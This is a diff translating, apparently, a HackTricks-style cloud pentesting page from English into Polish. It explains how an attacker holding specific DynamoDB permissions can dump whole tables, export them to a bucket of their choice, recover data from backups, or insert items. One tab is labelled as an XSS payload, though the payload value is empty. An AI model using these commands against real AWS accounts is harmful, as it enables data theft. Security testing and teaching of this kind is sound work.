+**Podobnie jak w przypadku poprzednich uprawnień** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania. Umożliwia to użycie [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu.
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
- // With a.json
- {
+// With a.json
+{
"Id" : {
- "ComparisonOperator":"EQ",
- "AttributeValueList": [ {"N": "205"} ]
- }
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb query \
- --table-name TargetTable \
- --key-condition-expression "AttributeName = :value" \
- --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
- --region
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
### `dynamodb:Scan`
-You can use this permission to **dump the entire table easily**.
-
+Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**.
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
### `dynamodb:PartiQLSelect`
-You can use this permission to **dump the entire table easily**.
-
+Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**.
```bash
aws dynamodb execute-statement \
- --statement "SELECT * FROM ProductCatalog"
+--statement "SELECT * FROM ProductCatalog"
```
-
-This permission also allow to perform `batch-execute-statement` like:
-
+To uprawnienie pozwala również na wykonanie `batch-execute-statement` jak:
```bash
aws dynamodb batch-execute-statement \
- --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
+ale musisz określić klucz główny z wartością, więc nie jest to zbyt przydatne.
-but you need to specify the primary key with a value, so it isn't that useful.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
-
+To uprawnienie pozwoli atakującemu na **eksport całej tabeli do wybranego przez niego koszyka S3:**
```bash
aws dynamodb export-table-to-point-in-time \
- --table-arn arn:aws:dynamodb:::table/TargetTable \
- --s3-bucket \
- --s3-prefix \
- --export-time \
- --region
+--table-arn arn:aws:dynamodb:::table/TargetTable \
+--s3-bucket \
+--s3-prefix \
+--export-time \
+--region
```
-
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-
+Zauważ, że aby to zadziałało, tabela musi mieć włączoną funkcję odzyskiwania w czasie rzeczywistym, możesz sprawdzić, czy tabela ją ma, używając:
```bash
aws dynamodb describe-continuous-backups \
- --table-name
+--table-name
```
-
-If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
-
+Jeśli nie jest włączona, musisz **włączyć ją** i do tego potrzebujesz uprawnienia **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
- --table-name \
- --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+--table-name \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
-
+Dzięki tym uprawnieniom, atakujący mógłby **utworzyć nową tabelę z kopii zapasowej** (lub nawet utworzyć kopię zapasową, aby następnie przywrócić ją w innej tabeli). Następnie, z odpowiednimi uprawnieniami, mógłby sprawdzić **informacje** z kopii zapasowych, które **mogłyby już nie znajdować się w tabeli produkcyjnej**.
```bash
aws dynamodb restore-table-from-backup \
- --backup-arn \
- --target-table-name \
- --region
+--backup-arn \
+--target-table-name \
+--region
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
+**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli
### `dynamodb:PutItem`
-This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
+To uprawnienie pozwala użytkownikom dodać **nowy element do tabeli lub zastąpić istniejący element** nowym elementem. Jeśli element o tym samym kluczu głównym już istnieje, **cały element zostanie zastąpiony** nowym elementem. Jeśli klucz główny nie istnieje, nowy element z określonym kluczem głównym zostanie **utworzony**.
{{#tabs }}
{{#tab name="XSS Example" }}
-
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
### With add.json:
{
- "Id": {
- "S": "1000"
- },
- "Name": {
- "S": "Marc"
- },
- "Description": {
- "S": ""
- }
+"Id": {
+"S": "1000"
+},
+"Name": {
+"S": "Marc"
+},
+"Description": {
+"S": ""
+}
}
```
-
{{#endtab }}
{{#tab name="AI Example" }}
-
```bash
aws dynamodb put-item \
- --table-name ExampleTable \
- --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
- --region
+--table-name ExampleTable \
+--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
+--region